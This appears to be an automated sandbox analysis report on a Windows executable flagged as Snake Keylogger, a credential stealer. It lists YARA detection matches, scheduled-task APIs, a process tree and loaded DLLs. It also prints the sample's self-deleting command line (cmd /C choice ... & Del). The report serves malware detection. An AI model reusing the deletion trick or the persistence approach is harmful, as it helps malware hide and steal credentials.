Source: 0.2.Ref_336210627.exe.437fdb0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.Ref_336210627.exe.43acc48.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Ref_336210627.exe.43acc48.9.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Ref_336210627.exe.43acc48.9.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Ref_336210627.exe.43acc48.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 3.2.ijohw.exe.3a3fdb0.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 3.2.ijohw.exe.3a3fdb0.8.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 3.2.ijohw.exe.3a3fdb0.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 3.2.ijohw.exe.3a3fdb0.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.Ref_336210627.exe.43acc48.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Ref_336210627.exe.43acc48.9.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Ref_336210627.exe.43acc48.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Ref_336210627.exe.43acc48.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000009.00000002.2144670543.000000000437D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000009.00000002.2144670543.000000000437D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000001.00000002.1903743320.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000001.00000002.1903743320.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000003.00000002.2034336187.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000003.00000002.2049506536.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000003.00000002.2049506536.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000009.00000002.2115666335.00000000036BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.1790161541.000000000378B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.1804561635.000000000442C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1804561635.000000000442C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: Ref_336210627.exe PID: 6036, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: Ref_336210627.exe PID: 6036, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: InstallUtil.exe PID: 480, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: InstallUtil.exe PID: 480, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: ijohw.exe PID: 3120, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: ijohw.exe PID: 3120, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: ijohw.exe PID: 4168, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: ijohw.exe PID: 4168, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger

Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'

Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)

Source: classification engine

Classification label: mal100.troj.evad.winEXE@24/3@2/3

Source: C:\Users\user\Desktop\Ref_336210627.exe

File created: C:\Users\user\AppData\Roaming\ijohw.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2836:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5052:120:WilError_03

Source: Ref_336210627.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Ref_336210627.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Ref_336210627.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Ref_336210627.exe

ReversingLabs: Detection: 21%

Source: C:\Users\user\Desktop\Ref_336210627.exe

File read: C:\Users\user\Desktop\Ref_336210627.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Ref_336210627.exe "C:\Users\user\Desktop\Ref_336210627.exe"
Source: C:\Users\user\Desktop\Ref_336210627.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\ijohw.exe "C:\Users\user\AppData\Roaming\ijohw.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /C Y /N /D Y /T 3
Source: unknown	Process created: C:\Users\user\AppData\Roaming\ijohw.exe "C:\Users\user\AppData\Roaming\ijohw.exe"
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /C Y /N /D Y /T 3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /C Y /N /D Y /T 3
Source: C:\Users\user\Desktop\Ref_336210627.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /C Y /N /D Y /T 3	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /C Y /N /D Y /T 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /C Y /N /D Y /T 3

Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
